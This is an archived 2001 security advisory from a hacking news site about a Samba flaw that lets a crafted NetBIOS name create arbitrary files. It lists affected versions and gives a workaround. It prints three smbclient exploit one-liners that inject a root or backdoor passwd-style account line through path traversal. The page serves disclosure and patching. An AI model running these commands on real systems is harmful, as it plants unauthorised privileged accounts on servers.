Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » Samba Remote Arbitrary File Creation Vulnerability

Samba Remote Arbitrary File Creation Vulnerability

by Majik on October 17th, 2001 Samba is a freely available file and printer sharing application maintained and developed by the Samba Development Team. Samba allows file and printer sharing between operating systems on the Unix and Microsoft platforms.


A remote local user can write arbitrary files on the Samba server, as the smb daemon does not sufficiently check NetBIOS name input. It is possible to overwrite files on the Samba server, and if a user has local access, potentially gain elevated privileges.





This problem makes it possible for a remote user to deny service to legitimate users, and a local user to potentially gain elevated privileges.





bugtraq id 2928


object smbd


class Input Validation Error


cve CVE-MAP-NOMATCH





remote Yes


local No


published Jun 23, 2001


updated Oct 16, 2001


vulnerable HP CIFS/9000 Server A.01.06


- HP HP-UX 11.0


- HP HP-UX 11.11


HP CIFS/9000 Server A.01.05


Samba Samba 2.0.5


- Caldera eServer 2.3.1


- Caldera OpenLinux 2.3


Samba Samba 2.0.6


Samba Samba 2.0.7


- Caldera eDesktop 2.4


- Caldera eServer 2.3.1


- Caldera OpenLinux 2.3


- Conectiva Linux ecommerce


- Conectiva Linux graficas


- Conectiva Linux 4.0


- Conectiva Linux 4.0es


- Conectiva Linux 4.1


- Conectiva Linux 4.2


- Conectiva Linux 5.0


- Conectiva Linux 5.1


- Conectiva Linux 6.0


- Debian Linux 2.2


- Debian Linux 2.2 68k


- Debian Linux 2.2 alpha


- Debian Linux 2.2 arm


- Debian Linux 2.2 powerpc


- Debian Linux 2.2 sparc


- Debian Linux 2.3


- Debian Linux 2.3 alpha


- Debian Linux 2.3 powerpc


- Debian Linux 2.3 sparc


- FreeBSD FreeBSD 4.2


- FreeBSD FreeBSD 5.0


- MandrakeSoft Linux Mandrake 7.0


- MandrakeSoft Linux Mandrake 7.1


- Progeny Debian 1.0


- RedHat Linux 6.1 alpha


- RedHat Linux 6.1 i386


- RedHat Linux 6.1 sparc


- RedHat Linux 6.2 alpha


- RedHat Linux 6.2 i386


- RedHat Linux 6.2 sparc


- RedHat Linux 6.2E alpha


- RedHat Linux 6.2E i386


- RedHat Linux 6.2E sparc


- RedHat Linux 7.0


- Trustix Secure Linux 1.1


- Trustix Secure Linux 1.2


- Wirex Immunix OS 6.2


- Wirex Immunix OS 7.0


- Wirex Immunix OS 7.0-Beta


Samba Samba 2.0.8


- Caldera eDesktop 2.4


- Caldera eServer 2.3.1


- Caldera OpenLinux 2.4


- Conectiva Linux ecommerce


- Conectiva Linux graficas


- Conectiva Linux 4.0


- Conectiva Linux 4.0es


- Conectiva Linux 4.1


- Conectiva Linux 4.2


- Conectiva Linux 5.0


- Conectiva Linux 5.1


- Conectiva Linux 6.0


- Debian Linux 2.2


- Debian Linux 2.2 68k


- Debian Linux 2.2 alpha


- Debian Linux 2.2 arm


- Debian Linux 2.2 powerpc


- Debian Linux 2.2 sparc


- RedHat Linux 5.2 alpha


- RedHat Linux 5.2 i386


- RedHat Linux 5.2 sparc


- RedHat Linux 6.2 alpha


- RedHat Linux 6.2 i386


- RedHat Linux 6.2 sparc


- RedHat Linux 7.0 alpha


- RedHat Linux 7.0 i386


- RedHat Linux 7.1 alpha


- RedHat Linux 7.1 i386


- S.u.S.E. Linux 6.4


- S.u.S.E. Linux 7.0


- S.u.S.E. Linux 7.1


- Sun Solaris 7.0


- Sun Solaris 7.0_x86


- Sun Solaris 8.0


- Sun Solaris 8.0_x86


- Wirex Immunix OS 6.2


- Wirex Immunix OS 7.0


- Wirex Immunix OS 7.0-Beta


Samba Samba 2.0.9


- Caldera OpenLinux Server 3.1


- Caldera OpenLinux Workstation 3.1


- Debian Linux 2.2


- RedHat Linux 6.2


- RedHat Linux 7.0


- RedHat Linux 7.1


- S.u.S.E. Linux 6.3


- S.u.S.E. Linux 6.3 alpha


- S.u.S.E. Linux 6.4


- S.u.S.E. Linux 6.4alpha


- S.u.S.E. Linux 6.4ppc


- S.u.S.E. Linux 7.0


- S.u.S.E. Linux 7.0alpha


- S.u.S.E. Linux 7.0ppc


- S.u.S.E. Linux 7.0sparc


- S.u.S.E. Linux 7.1


- S.u.S.E. Linux 7.1alpha


- S.u.S.E. Linux 7.1ppc


- S.u.S.E. Linux 7.1sparc


- Sun Solaris 7.0


- Sun Solaris 7.0_x86


- Sun Solaris 8.0


- Sun Solaris 8.0_x86


- Trustix Secure Linux 1.1


- Trustix Secure Linux 1.2


- Wirex Immunix OS 6.2


- Wirex Immunix OS 7.0


- Wirex Immunix OS 7.0-Beta


Samba Samba 2.2.0


- S.u.S.E. Linux 7.2





not vulnerable HP CIFS/9000 Server A.01.07


Samba Samba 2.0.10


Samba Samba 2.2.0a





Some variations of methods used to exploit this vulnerability:





From Michal Zalewski





smbclient //NIMUE/"`perl -e '{print "ntoor::0:0::/:/bin/shn"}'`" -n ../../../tmp/x -N





From zhhsun





smbclient //NIMUE/"`perl -e '{print "nopendoor::511:511::/:/bin/shn"}'`" -n ../../../tmp/x -N -I 192.168.12.13





and also





smbclient //NIMUE/"`perl -e '{print "ntoor::0:0::/:/bin/shn"}'`" -n ../../../tmp/x -N -I 192.168.12.13





A temporary workaround is to replace the %m specifier in the smb.conf file with a %I specifier.





Upgrades available:





List is at http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=solution&id=2928


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »